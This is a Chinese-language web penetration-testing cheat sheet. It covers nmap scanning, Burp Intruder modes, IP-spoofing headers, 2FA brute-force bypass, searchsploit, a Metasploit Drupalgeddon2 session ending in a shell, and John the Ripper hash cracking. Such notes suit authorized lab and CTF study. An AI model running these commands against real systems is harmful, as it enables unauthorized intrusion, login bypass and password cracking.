Web Security
web安全要点

- 前端不可信
- web安全的根本在于,web应用在实现HTTP协议的过程中,没有做足够充足强大的约束,导致攻击者能够利用其中的薄弱环节进行攻击。
flow


nmap
# 扫描网段
nmap -sn 192.168.80.0/24 -oG -
# 检测服务版本
nmap -sV 192.168.80.22
# 扫描全端口
nmao -sS -p- 192.168.80.22burpsuit
伪造客户端IP地址
X-Forwarded-For: 127.0.0.1X-Custom-Ip-Authorization: 127.0.0.1intruder
- sniper: 狙击手,使用单一词典,每次仅变更一个参数,如果 uname、password 都是变量,会先让uname 遍历字典,password 不变,后变 password,uname 不变。
- Battering ram: 攻城锤, 使用单一词典,有多个变量,同时变更为同一值。
- Pitchfork: 音叉,每个变量一个字典。一次失败后,三个变量同时改变,一个变量不会与另一个变量所有情况匹配到。
- Cluster bomb: 集束炸弹,笛卡尔积,形式,每隔一个变量要与另一个变量所有情况测试到,在多个字典情况下,测试时间非常漫长。
Payload processing
Match\replace
| 占位符 | 使用 | 示例占位符替换 |
|---|---|---|
{file} | 请指定文件名。 | /etc/passwd |
{base} | 替换 {base} 为标记为有效载荷的值。 | 1337 |
{domain} | 请指定网站域名。 | COLLAB_ID.oastify.com |
foo@{domain} | 在电子邮件地址中指定网站域名。 | example.com |
\{base\} → custome
Macro
宏(Macro) 是一组预先录制好的 HTTP 请求序列,用来让 Burp 自动执行某些重复操作。
A macro is a sequence of one or more requests. You can use macros within session handling rules to perform tasks such as logging in to the application, obtaining anti-CSRF tokens, etc. Use these settings to manage your macros.
- 自动登录:先请求登录页,提取 CSRF token,再提交用户名密码。
- 刷新 session/cookie:当目标返回 401、302 到登录页时,自动重新获取会话。
- 更新 CSRF token:每次攻击请求前自动访问页面,提取新的 token 并替换到请求里。
- 配合 Scanner/Intruder/Repeater:让这些工具在测试时始终使用有效会话。
应用
1.使用暴力破解绕过双重身份验证
2FA bypass using a brute-force attack
2.维护已认证会话
Session → Session handling rules → Add → Check session is valid → 勾选If session is invalid, perform the action below: → Run a macro...
Exploit-db
exploit-db, Kali linux 官方团队维护的一个安全项目,是公认的世界上最大的搜集漏洞的数据库。
searchsploit
# 搜索
searchsploit drupal
# 查看路径 path
searchsploit -p 34992.py
# 拷贝到本地
searchsploit -m 34992.py
# 更新本地漏洞库
searchsploit -uMetasploit
Metasploit Framework , 通常简称MSF。一个强大的漏洞利用和测试的综合平台,其中集成了大量的漏洞利用工具。在Kali中集成了MSF的社区版本。
MSF初始化
# 开启postgresql服务
systemctl start postgresql.service
# 对MSF的数据库进行初始化
msfdb init使用
进入控制台
msfconsolemsf
msf > db_status
[*] Connected to msf. Connection type: postgresql.
msf > search drupal
msf > use 1
msf exploit(unix/webapp/drupal_drupalgeddon2) > show options
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.10.80.128
msf exploit(unix/webapp/drupal_drupalgeddon2) > exploitmeterpreter
meterpreter > shellpython -c 'import pty;pty.spawn("/bin/bash")'bruteforce
字典去重排序
sort -u wordlist.dic > sortedwordlist.dicJohn
Cracking
john --format=raw-md5 --wordlist=/wordlists/hash-dic.txt hash-target.txt查看结果
john --show --format=raw-md5 hash-target.txt其它
hash-identifier
john --list=formats


